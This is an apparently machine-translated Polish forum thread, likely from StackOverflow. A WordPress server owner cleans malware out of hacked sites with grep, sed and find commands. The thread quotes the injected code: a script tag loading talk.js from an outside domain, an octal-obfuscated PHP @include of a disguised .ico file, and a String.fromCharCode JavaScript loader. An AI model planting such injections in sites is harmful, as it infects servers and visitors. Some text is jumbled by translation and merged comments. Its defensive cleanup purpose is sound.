Więc cały mój serwer został zhakowany lub wystąpił problem ze złośliwym oprogramowaniem. moja witryna oparta jest na WordPress, a większość witryn hostowanych na moim serwerze jest oparta na WordPress. Haker dodał ten wiersz kodu do każdego pliku i bazy danych
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Przeszukałem go za pomocą grep przy użyciu
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Próbuję go zastąpić w całej strukturze pliku sed
i napisałem następujące polecenie.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
index.php
Najpierw próbuję zastąpić ciąg w jednym pliku , więc wiem, że to działa.
i wiem, że mój kod jest nieprawidłowy. Proszę, pomóż mi z tym.
Próbowałem z kodem @ Eran, który usunął całą linię, co jest dobre i zgodnie z oczekiwaniami. Jest to jednak ogólny żargon
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
I chociaż chcę usunąć całą zawartość, chcę zachować tag otwierający php <?php
.
Chociaż rozwiązanie @ slybloty jest łatwe i działało.
aby całkowicie usunąć kod ze wszystkich plików, których dotyczy problem. Korzystam z następujących 3 poleceń, dziękuję wam wszystkim za to.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- Aby usunąć wiersz skryptufind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
- Aby usunąć@include
linięfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- Aby usunąć wiersz komentarza
Ponownie uruchomiłem wszystkie 3 polecenia '*.html'
, ponieważ skrypt hakera utworzył niepożądany index.html we wszystkich katalogach. Nie byłem pewien, czy usunięcie tych plików index.html luzem jest właściwym podejściem.
teraz wciąż muszę znaleźć niepotrzebne pliki i ich ślady.
Skrypt hakera dodał również kod JS.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Próbuję zobaczyć, czy mogę to sed
zrobić.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
-l
sed -i
. Na przykład sed -i.bak
utworzy *.bak
plik dla wszystkich edytowanych plików. W przypadku użycia z while...grep
pętlą tworzy się kopie zapasowe tylko plików zawierających ten ciąg. Przepraszamy za wszystkie dodatkowe komentarze, ale moim zdaniem złośliwe oprogramowanie jest scenariuszem „wszystko pod ręką”.